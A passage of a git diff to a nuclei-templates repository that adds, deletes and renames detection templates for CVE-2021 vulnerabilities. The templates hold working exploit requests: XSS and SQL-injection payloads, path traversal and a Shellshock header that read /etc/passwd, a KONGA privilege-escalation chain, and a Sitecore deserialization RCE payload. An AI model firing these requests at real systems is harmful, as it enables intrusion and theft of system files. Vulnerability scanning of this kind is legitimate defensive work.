browserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}} - redirects: true - max-redirects: 2 - cookie-reuse: true - extractors: - - type: regex - part: header - internal: true - name: csrfp_login - group: 1 - regex: - - 'csrfp_login=([a-zA-Z0-9]+);' - matchers-condition: and - matchers: - - type: word - part: body - words: - - '">

    Test

    26" class="loginUserNameText' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-3654.yaml b/nuclei-templates/CVE-2021/CVE-2021-3654.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-3654.yaml rename to nuclei-templates/CVE-2021/CVE-2021-3654.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-36749.yaml b/nuclei-templates/CVE-2021/CVE-2021-36749.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-36749.yaml rename to nuclei-templates/CVE-2021/CVE-2021-36749.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-37416.yaml b/nuclei-templates/CVE-2021/CVE-2021-37416.yaml deleted file mode 100644 index 3f2ac17b38..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-37416.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-37416 -info: - name: Zoho ManageEngine ADSelfService Plus - Reflected XSS - author: edoardottt - severity: medium - description: Zoho ManageEngine ADSelfService Plus version 6103 and prior is vulnerable to reflected XSS on the loadframe page. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-37416 - cwe-id: CWE-79 - metadata: - shodan-query: http.title:"ManageEngine" - verified: true - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-37416 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37416 - - https://blog.stmcyber.com/vulns/cve-2021-37416/ - tags: cve,cve2021,zoho,xss -requests: - - method: GET - path: - - "{{BaseURL}}/LoadFrame?frame_name=x&src=x&single_signout=x%27%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: header - words: - - "text/html" - - type: word - part: body - words: - - ">" - - "adsf/js/" - condition: and diff --git a/nuclei-templates/CVE-2021/cve-2021-37538.yaml b/nuclei-templates/CVE-2021/CVE-2021-37538.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-37538.yaml rename to nuclei-templates/CVE-2021/CVE-2021-37538.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-37589.yaml b/nuclei-templates/CVE-2021/CVE-2021-37589.yaml new file mode 100644 index 0000000000..f10ff799c2 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-37589.yaml @@ -0,0 +1,55 @@ +id: CVE-2021-37589 +info: + name: Virtua Software Cobranca <12R - Blind SQL Injection + author: princechaddha + severity: high + description: | + Virtua Cobranca before 12R allows blind SQL injection on the login page. + reference: + - https://github.com/luca-regne/my-cves/tree/main/CVE-2021-37589 + - https://www.virtuasoftware.com.br/ + - https://www.virtuasoftware.com.br/conteudo.php?content=downloads&lang=pt-br + - https://nvd.nist.gov/vuln/detail/CVE-2021-37589 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-37589 + cwe-id: CWE-89 + metadata: + shodan-query: http.favicon.hash:876876147 + verified: "true" + tags: cve,cve2021,virtua,sqli +requests: + - raw: + - | + POST /controller/origemdb.php?idselorigem=ATIVOS HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + - | + POST /controller/login.php?acao=autenticar HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-Requested-With: XMLHttpRequest + + idusuario='&idsenha=test&tipousr=Usuario + - | + POST /controller/login.php?acao=autenticar HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-Requested-With: XMLHttpRequest + + idusuario=''&idsenha=a&tipousr=Usuario + cookie-reuse: true + req-condition: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'contains(body_3, "Os parametros não estão informados corretamente")' + - 'contains(body_3, "O CNPJ dos parametro não está informado corretamente")' + condition: or + - type: dsl + dsl: + - "status_code_2 == 500 && status_code_3 == 200" + +# Enhanced by mp on 2022/06/30 diff --git a/nuclei-templates/CVE-2021/CVE-2021-37859.yaml b/nuclei-templates/CVE-2021/CVE-2021-37859.yaml deleted file mode 100644 index cade6b445d..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-37859.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: CVE-2021-37859 -info: - name: Mattermost XSS - author: 0x_Akoko - severity: medium - description: reflected Cross-Site Scripting (XSS) via the OAuth flow - tags: cve,cve2021,xss -requests: - - method: GET - path: - - "{{BaseURL}}/oauth/shielder/mobile_login?redirect_to=%22%3E%3Cimg%20src%3D%22%22%20onerror%3D%22alert(document.domain)%22%3E" - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - condition: and - - type: word - words: - - "text/html" - part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-38702.yaml b/nuclei-templates/CVE-2021/CVE-2021-38702.yaml new file mode 100644 index 0000000000..4c1fde131c --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-38702.yaml @@ -0,0 +1,39 @@ +id: CVE-2021-38702 + +info: + name: Cyberoam NetGenie Cross-Site Scripting + author: geeknik + severity: medium + description: Cyberoam NetGenie C0101B1-20141120-NG11VO devices through 2021-08-14 are susceptible to reflected cross-site scripting via the 'u' parameter of ft.php. + reference: + - https://seclists.org/fulldisclosure/2021/Aug/20 + - https://nvd.nist.gov/vuln/detail/CVE-2021-38702 + - http://www.cyberoamworks.com/NetGenie-Home.asp + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-38702 + cwe-id: CWE-79 + tags: cve,cve2021,cyberoam,netgenie,xss,router + +requests: + - method: GET + path: + - "{{BaseURL}}/tweb/ft.php?u=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - "" + + - type: word + words: + - "text/html" + part: header + + - type: status + status: + - 200 + +# Enhanced by cs on 2022/04/01 diff --git a/nuclei-templates/CVE-2021/CVE-2021-39211.yaml b/nuclei-templates/CVE-2021/CVE-2021-39211.yaml new file mode 100644 index 0000000000..0847c7cf42 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-39211.yaml @@ -0,0 +1,31 @@ +id: CVE-2021-39211 +info: + name: GLPI Telemetry Disclosure + author: dogasantos,noraj + severity: medium + description: GLPI => 9.2 and < 9.5.6, the telemetry endpoint discloses GLPI and server information. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-39211 + - https://github.com/glpi-project/glpi/security/advisories/GHSA-xx66-v3g5-w825 + - https://github.com/glpi-project/glpi/releases/tag/9.5.6 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2021-39211 + cwe-id: CWE-668,CWE-200 + tags: cve,cve2021,glpi,exposure +requests: + - method: GET + path: + - "{{BaseURL}}/ajax/telemetry.php" + - "{{BaseURL}}/glpi/ajax/telemetry.php" + matchers-condition: and + matchers: + - type: word + words: + - '"uuid":' + - '"glpi":' + condition: and + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-39226.yaml b/nuclei-templates/CVE-2021/CVE-2021-39226.yaml new file mode 100644 index 0000000000..27f44e0863 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-39226.yaml @@ -0,0 +1,40 @@ +id: CVE-2021-39226 + +info: + name: Grafana Snapshot - Authentication Bypass + author: Evan Rubinstein + severity: high + description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default). + reference: + - https://github.com/advisories/GHSA-69j6-29vr-p3j9 + - https://nvd.nist.gov/vuln/detail/CVE-2021-39226 + - https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269 + - https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/ + remediation: 'This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.' + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L + cvss-score: 7.3 + cve-id: CVE-2021-39226 + cwe-id: CWE-287 + epss-score: 0.97325 + metadata: + max-request: 1 + shodan-query: title:"Grafana" + tags: cve,cve2021,grafana,kev + +http: + - method: GET + path: + - "{{BaseURL}}/api/snapshots/:key" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - '"isSnapshot":true' + +# Enhanced by mp on 2022/05/02 diff --git a/nuclei-templates/CVE-2021/CVE-2021-39316.yaml b/nuclei-templates/CVE-2021/CVE-2021-39316.yaml new file mode 100644 index 0000000000..9a563f91e6 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-39316.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-39316 + +info: + name: WordPress DZS Zoomsounds <=6.50 - Local File Inclusion + author: daffainfo + severity: high + description: WordPress Zoomsounds plugin 6.45 and earlier allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the `dzsap_download` action using directory traversal in the `link` parameter. + reference: + - https://wpscan.com/vulnerability/d2d60cf7-e4d3-42b6-8dfe-7809f87547bd + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39316 + - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39316 + - http://packetstormsecurity.com/files/165146/WordPress-DZS-Zoomsounds-6.45-Arbitrary-File-Read.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-39316 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-39316 + cwe-id: CWE-22 + tags: cve,cve2021,wp,wordpress,lfi,wp-plugin,zoomsounds + +requests: + - method: GET + path: + - "{{BaseURL}}/?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/30 diff --git a/nuclei-templates/CVE-2021/CVE-2021-39501.yaml b/nuclei-templates/CVE-2021/CVE-2021-39501.yaml new file mode 100644 index 0000000000..66c73a09e0 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-39501.yaml @@ -0,0 +1,28 @@ +id: CVE-2021-39501 + +info: + name: EyouCMS 1.5.4 Open Redirect + author: 0x_Akoko + severity: medium + description: EyouCMS 1.5.4 is vulnerable to Open Redirect. An attacker can redirect a user to a malicious url via the Logout function. + reference: + - https://github.com/eyoucms/eyoucms/issues/17 + - https://www.cvedetails.com/cve/CVE-2021-39501 + tags: cve,cve2021,redirect,eyou + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-39501 + cwe-id: CWE-601 + +requests: + - method: GET + + path: + - '{{BaseURL}}/index.php?m=user&c=Users&a=logout&referurl=https://example.com' + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' + part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-40149.yaml b/nuclei-templates/CVE-2021/CVE-2021-40149.yaml new file mode 100644 index 0000000000..22c1d83310 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-40149.yaml @@ -0,0 +1,33 @@ +id: CVE-2021-40149 +info: + name: Reolink E1 Zoom Camera <=3.0.0.716 - Private Key Disclosure + author: For3stCo1d + severity: high + description: | + Reolink E1 Zoom Camera versions 3.0.0.716 and below suffer from a private key (RSA) disclosure vulnerability. + reference: + - https://dl.packetstormsecurity.net/2206-exploits/reolinke1key-disclose.txt + - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40149.txt + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40149 + classification: + cve-id: CVE-2021-40149 + metadata: + shodan-query: http.title:"Reolink" + verified: "true" + tags: cve,cve2021,reolink,camera,iot,exposure,unauth +requests: + - method: GET + path: + - "{{BaseURL}}/self.key" + matchers-condition: and + matchers: + - type: word + words: + - "-----BEGIN RSA PRIVATE KEY-----" + - "-----END RSA PRIVATE KEY----" + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/30 diff --git a/nuclei-templates/CVE-2021/CVE-2021-40150.yaml b/nuclei-templates/CVE-2021/CVE-2021-40150.yaml new file mode 100644 index 0000000000..7c25b1aef3 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-40150.yaml @@ -0,0 +1,33 @@ +id: CVE-2021-40150 +info: + name: Reolink E1 Zoom Camera - Information Disclosure + author: For3stCo1d + severity: medium + description: | + The web server of the E1 Zoom camera through 3.0.0.716 discloses its configuration via the /conf/ directory that is mapped to a publicly accessible path. + An unauthenticated attacker can abuse this with network-level access to the camera to download the entire NGINX/FastCGI configurations. + reference: + - https://dl.packetstormsecurity.net/2206-exploits/reolinke1config-disclose.txt + - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-40150.txt + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40150 + classification: + cve-id: CVE-2021-40150 + metadata: + verified: true + shodan-query: http.title:"Reolink" + tags: cve,cve2021,reolink,camera,exposure,iot +requests: + - method: GET + path: + - "{{BaseURL}}/conf/nginx.conf" + matchers-condition: and + matchers: + - type: word + words: + - "server" + - "listen" + - "fastcgi" + condition: and + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-40323.yaml b/nuclei-templates/CVE-2021/CVE-2021-40323.yaml new file mode 100644 index 0000000000..5f13a82712 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-40323.yaml @@ -0,0 +1,108 @@ +id: CVE-2021-40323 + +info: + name: Cobbler <3.3.0 - Remote Code Execution + author: c-sh0 + severity: critical + description: Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method. + remediation: | + Upgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability. + reference: + - https://github.com/cobbler/cobbler/releases/tag/v3.3.0 + - https://github.com/cobbler/cobbler/issues/2795 + - https://tnpitsecurity.com/blog/cobbler-multiple-vulnerabilities/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-40323 + - https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-40323 + cwe-id: CWE-94 + epss-score: 0.02044 + epss-percentile: 0.87713 + cpe: cpe:2.3:a:cobbler_project:cobbler:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: cobbler_project + product: cobbler + tags: cve,cve2021,cobbler,rce + +http: + - raw: + - | + POST {{BaseURL}}/cobbler_api HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + + + + find_profile + + + + + + name + + * + + + + + + + + - | + POST {{BaseURL}}/cobbler_api HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + + + + generate_script + + + + {{profile}} + + + + + + + + + + /etc/passwd + + + + + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'text/xml' + + - type: regex + regex: + - "root:.*:0" + - "bin:.*:1" + - "nobody:.*:99" + condition: or + + - type: status + status: + - 200 + + extractors: + - type: regex + name: profile + group: 1 + regex: + - '(.*?)' + internal: true + +# digest: 4a0a0047304502206461fc98730435b23e4088a8d1f9628b935b6fc437f9095967326f6a9af90f3d022100ba04b30ea51e2776e6ea6d572c44f0d51d023b44858f6ec2fbf566098120f3b1:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/cve-2021-40542.yaml b/nuclei-templates/CVE-2021/CVE-2021-40542.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-40542.yaml rename to nuclei-templates/CVE-2021/CVE-2021-40542.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-40856.yaml b/nuclei-templates/CVE-2021/CVE-2021-40856.yaml deleted file mode 100644 index 3499f2bcd8..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-40856.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2021-40856 - -info: - name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass - author: gy741 - severity: high - description: Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-40856 - - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass - - https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses - - http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-40856 - cwe-id: CWE-287 - tags: cve,cve2021,comfortel,auth-bypass,auerswald - -requests: - - raw: - - | - GET /about/../tree?action=get HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"TYPE"' - - '"ITEMS"' - - '"COUNT"' - condition: and - - - type: word - part: header - words: - - application/json - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/16 diff --git a/nuclei-templates/CVE-2021/CVE-2021-41349.yaml b/nuclei-templates/CVE-2021/CVE-2021-41349.yaml new file mode 100644 index 0000000000..d45b5e686f --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-41349.yaml @@ -0,0 +1,50 @@ +id: CVE-2021-41349 + +info: + name: Microsoft Exchange Server Pre-Auth POST Based Reflected Cross-Site Scripting + author: rootxharsh,iamnoooob + severity: medium + description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305. + reference: + - https://www.microsoft.com/en-us/download/details.aspx?id=103643 + - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349 + - https://nvd.nist.gov/vuln/detail/CVE-2021-41349 + - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N + cvss-score: 6.5 + cve-id: CVE-2021-41349 + tags: cve,cve2021,xss,microsoft,exchange + +requests: + - raw: + - | + POST /autodiscover/autodiscover.json HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + %3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1 + + matchers-condition: and + matchers: + - type: word + words: + - 'alert(document.domain);' + - 'a=""' + condition: and + + - type: word + part: header + words: + - 'text/html' + + - type: word + words: + - "A potentially dangerous Request.Form value was detected from the client" + negative: true + + - type: status + status: + - 500 + +# Enhanced by xiaostrong on 2022/05/26 diff --git a/nuclei-templates/CVE-2021/cve-2021-41381.yaml b/nuclei-templates/CVE-2021/CVE-2021-41381.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41381.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41381.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-41467.yaml b/nuclei-templates/CVE-2021/CVE-2021-41467.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41467.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41467.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-41569.yaml b/nuclei-templates/CVE-2021/CVE-2021-41569.yaml deleted file mode 100644 index a65c219ae1..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-41569.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2021-41569 -info: - name: SAS 9.4 build 1520 - Local File Inclusion - author: 0x_Akoko - severity: high - description: SAS/Intrnet 9.4 build 1520 and earlier allows Local File Inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro. - reference: - - https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas - - https://nvd.nist.gov/vuln/detail/CVE-2021-41569 - - https://support.sas.com/kb/68/641.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-41569 - cwe-id: CWE-829 - tags: cve,cve2021,sas,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-41648.yaml b/nuclei-templates/CVE-2021/CVE-2021-41648.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41648.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41648.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-41649.yaml b/nuclei-templates/CVE-2021/CVE-2021-41649.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-41649.yaml rename to nuclei-templates/CVE-2021/CVE-2021-41649.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-42071.yaml b/nuclei-templates/CVE-2021/CVE-2021-42071.yaml deleted file mode 100644 index 966641996e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-42071.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2021-42071 - -info: - name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection - author: gy741 - severity: critical - description: Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. - remediation: | - Apply the latest security patch or update provided by the vendor to fix the command injection vulnerability in the Visual Tools DVR VX16 4.2.28.0 device. - reference: - - https://www.exploit-db.com/exploits/50098 - - https://nvd.nist.gov/vuln/detail/CVE-2021-42071 - - https://visual-tools.com/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-42071 - cwe-id: CWE-78 - epss-score: 0.95761 - epss-percentile: 0.99265 - cpe: cpe:2.3:o:visual-tools:dvr_vx16_firmware:4.2.28.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: visual-tools - product: dvr_vx16_firmware - tags: edb,cve,cve2021,visualtools,rce,oast,injection - -http: - - raw: - - | - GET /cgi-bin/slogin/login.py HTTP/1.1 - Host: {{Hostname}} - Accept: */* - User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# digest: 4a0a004730450221009882a9c156dd168e08c3d1899e9d761d1a9ff9172ccc9f35735e88816c344b53022058d2b83f4f2dfabee71e3d8f28fd2db3bcaadd0e3f3e7e25587b39f75daa510d:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-42192.yaml b/nuclei-templates/CVE-2021/CVE-2021-42192.yaml deleted file mode 100644 index 0f18b9f2d6..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-42192.yaml +++ /dev/null @@ -1,73 +0,0 @@ -id: CVE-2021-42192 -info: - name: KONGA 0.14.9 - Privilege Escalation - author: rschio - severity: high - description: KONGA 0.14.9 allows attackers to set higher privilege users to full administration access. The attack vector is a crafted condition, as demonstrated by the /api/user/{ID} at ADMIN parameter. - reference: - - http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html - - https://www.exploit-db.com/exploits/50521 - - hhttps://nvd.nist.gov/vuln/detail/CVE-2021-42192 - - https://docs.google.com/document/d/1-YU9zWiDVUps3Mb6zos3996yvZ48vW_vfOvaJLLHc4I/edit?usp=sharing - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2021-42192 - cwe-id: CWE-269 - tags: cve,cve2021,konga,authenticated -requests: - - raw: - - | - POST /login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"password": "{{password}}", "identifier": "{{username}}"} - - | - POST /api/user/{{id}} HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Referer: {{BaseURL}} - Content-Type: application/json;charset=utf-8 - - {"token": "{{token}}"} - - | - PUT /api/user/{{id}} HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Referer: {{BaseURL}} - Content-Type: application/json;charset=utf-8 - - {"admin": "true", "passports": {"password": "{{password}}", "protocol": "local"}, "token": "{{token}}", "password_confirmation": "{{password}}"} - req-condition: true - matchers-condition: and - matchers: - - type: dsl - dsl: - - 'contains(body_2, "\"admin\":false")' - - 'contains(body_3, "\"admin\":true")' - condition: and - - type: word - part: header - words: - - "application/json" - - type: status - status: - - 200 - extractors: - - type: regex - part: body - name: id - internal: true - group: 1 - regex: - - '"id":([0-9]+)' - - type: regex - part: body - name: token - internal: true - group: 1 - regex: - - '"token":"(.*)"' - -# Enhanced by mp on 2022/06/30 diff --git a/nuclei-templates/CVE-2021/CVE-2021-42237.yaml b/nuclei-templates/CVE-2021/CVE-2021-42237.yaml deleted file mode 100644 index f1b98aa174..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-42237.yaml +++ /dev/null @@ -1,116 +0,0 @@ -id: CVE-2021-42237 - -info: - name: Sitecore Experience Platform Pre-Auth RCE - author: pdteam - severity: critical - description: Sitecore XP 7.5 to Sitecore XP 8.2 Update 7 is vulnerable to an insecure deserialization attack where remote commands can be executed by an attacker with no authentication or special configuration required. - reference: - - https://blog.assetnote.io/2021/11/02/sitecore-rce/ - - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776 - - https://nvd.nist.gov/vuln/detail/CVE-2021-42237 - - http://sitecore.com - remediation: For Sitecore XP 7.5.0 - Sitecore XP 7.5.2, use one of the following solutions- - Upgrade your Sitecore XP instance to Sitecore XP 9.0.0 or higher. - Consider the necessity of the Executive Insight Dashboard and remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances. - Upgrade your Sitecore XP instance to Sitecore XP 8.0.0 - Sitecore XP 8.2.7 version and apply the solution below. - For Sitecore XP 8.0.0 - Sitecore XP 8.2.7, remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances. For Sitecore XP 8.0.0 - Sitecore XP 8.2.7, remove the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx from all your server instances. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-42237 - cwe-id: CWE-502 - metadata: - shodan-query: http.title:"SiteCore" - tags: cve,cve2021,rce,sitecore,deserialization,oast - -requests: - - raw: - - | - POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml - - - - - foo - - - - 2 - - <_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" - xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" - xmlns:a="http://schemas.datacontract.org/2004/07/System"> - - mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - Compare - - - System.String - System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] - - Start - - System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - System.Diagnostics.Process - System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, 